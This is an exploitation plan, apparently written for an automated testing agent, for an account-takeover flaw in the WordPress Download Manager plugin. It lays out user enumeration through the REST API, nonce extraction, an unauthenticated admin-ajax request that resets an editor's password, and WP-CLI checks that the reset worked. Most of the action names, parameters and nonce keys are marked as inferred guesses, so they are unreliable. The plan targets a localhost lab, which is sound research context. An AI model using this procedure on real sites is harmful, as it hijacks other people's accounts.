Exploitation Research Plan: CVE-2025-15364 (Download Manager)

1. Vulnerability Summary

The Download Manager plugin (<= 3.3.40) contains a privilege escalation vulnerability via account takeover. The flaw exists in the updatePassword logic, which fails to verify the identity of the requester before updating a user's password. Because this functionality is exposed via an unauthenticated AJAX or initialization hook, an attacker can reset the password of any non-administrator user by providing their user ID.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin-ajax.php or a frontend initialization hook (e.g., init or wp_loaded).
• Action String (inferred): The vulnerability is tied to a function named updatePassword. Common AJAX actions for this plugin include wpdm_update_password or updatePassword.
• Vulnerable Parameter: user_id (or similar ID field) and password (or new_password).
• Authentication: Unauthenticated (wp_ajax_nopriv_ hook).
• Preconditions: The attacker must know the ID of the target user (easily enumerable via /wp-json/wp/v2/users).
• Constraints: The plugin explicitly prevents updating passwords for users with the administrator role, as per the vulnerability description.

3. Code Flow (Inferred)

1. Entry Point: An unauthenticated user sends a POST request to admin-ajax.php with an action related to password updates.
2. Hook Registration: The plugin likely registers the hook in its main class or a user-management class (e.g., src/User/User.php or src/User/Controllers/UserController.php).
   • add_action('wp_ajax_nopriv_updatePassword', '...');
3. Handler Logic: The handler (likely named updatePassword or calling a method of that name) retrieves user_id and password from $_POST.
4. Missing Check: The code fails to check:
   • If the requester is logged in.
   • If a valid "reset key" exists and matches.
   • If the requester is authorized to modify the specific user_id.
5. Sink: The code calls wp_set_password($new_password, $user_id) or wp_update_user(['ID' => $user_id, 'user_pass' => $new_password]).

4. Nonce Acquisition Strategy

Download Manager often uses nonces for its AJAX operations. If the updatePassword function requires a nonce, follow these steps to retrieve it:

1. Identify the Shortcode: Find where user profile or password reset forms are rendered. Common shortcodes: [wpdm_edit_profile], [wpdm_reg_form], or [wpdm_login_form].
2. Setup Test Page:
   wp post create --post_type=page --post_status=publish --post_title="Profile" --post_content='[wpdm_edit_profile]'
3. Extract Nonce:
   Navigate to the new page and inspect the wpdm_setup or similar localized JS object.
   • JS Variable (inferred): window.wpdm_setup or window.wpdm_ajax
   • Nonce Key (inferred): __wpdm_nonce or password_nonce
   • Execution: browser_eval("window.wpdm_setup?.__wpdm_nonce")

Note: If the code uses check_ajax_referer with the action -1 or skips the check entirely for nopriv users, the nonce may be unnecessary or obtainable from any public page where the plugin enqueues scripts.

5. Exploitation Strategy

Step 1: Enumerate Target User ID

Use the REST API to find a target user (e.g., an Editor or Author).

# Get users list
http_request GET "http://localhost:8080/wp-json/wp/v2/users"

Assume we find a user with id: 2 and username victim_user.

Step 2: Extract Nonce (If Required)

If a nonce is enforced:

1. Create the page with the shortcode.
2. Navigate to http://localhost:8080/profile.
3. Run browser_eval("window.wpdm_setup?.__wpdm_nonce").

Step 3: Trigger Password Update

Send the malicious request to reset the password for User 2.

• URL: http://localhost:8080/wp-admin/admin-ajax.php
• Method: POST
• Content-Type: application/x-www-form-urlencoded
• Parameters (inferred):
  • action=updatePassword (Verify via grep: grep -r "wp_ajax_nopriv" .)
  • user_id=2
  • password=PwnedPassword123!
  • __wpdm_nonce=[EXTRACTED_NONCE] (If required)

// Example using http_request tool
{
  "method": "POST",
  "url": "http://localhost:8080/wp-admin/admin-ajax.php",
  "headers": {
    "Content-Type": "application/x-www-form-urlencoded"
  },
  "body": "action=updatePassword&user_id=2&password=PwnedPassword123!&__wpdm_nonce=abcdef1234"
}

6. Test Data Setup

1. Install Plugin: Ensure download-manager version 3.3.40 is installed and active.
2. Create Target User:
   wp user create victim_user victim@example.com --role=editor --user_pass=OriginalPassword123
3. Determine User ID:
   wp user list --field=ID --user_login=victim_user (Assume result is 2).

7. Expected Results

• Success Response: The server returns a JSON success message (e.g., {"status":"success"}) or a 1.
• Impact: The victim_user is no longer able to log in with OriginalPassword123, and the attacker can log in as victim_user using PwnedPassword123!.

8. Verification Steps

After the HTTP request, verify the password change using WP-CLI:

# Verify the password has changed for user 2
wp user check-password victim_user PwnedPassword123!
# Response should be "Success: Password is correct."

9. Alternative Approaches

• Initialization Hook: If the vulnerability is not in an AJAX handler but in an init hook, look for $_REQUEST['wpdm_update_password'] or similar parameters in the main plugin file.
• Registration Bypass: If the plugin uses a custom registration/login flow, check if the updatePassword logic is part of a password recovery feature that fails to validate the key parameter.
• Parameter Names: If user_id fails, search the source code for usages of wp_set_password to identify the exact variable names used:
  grep -r "wp_set_password" /var/www/html/wp-content/plugins/download-manager/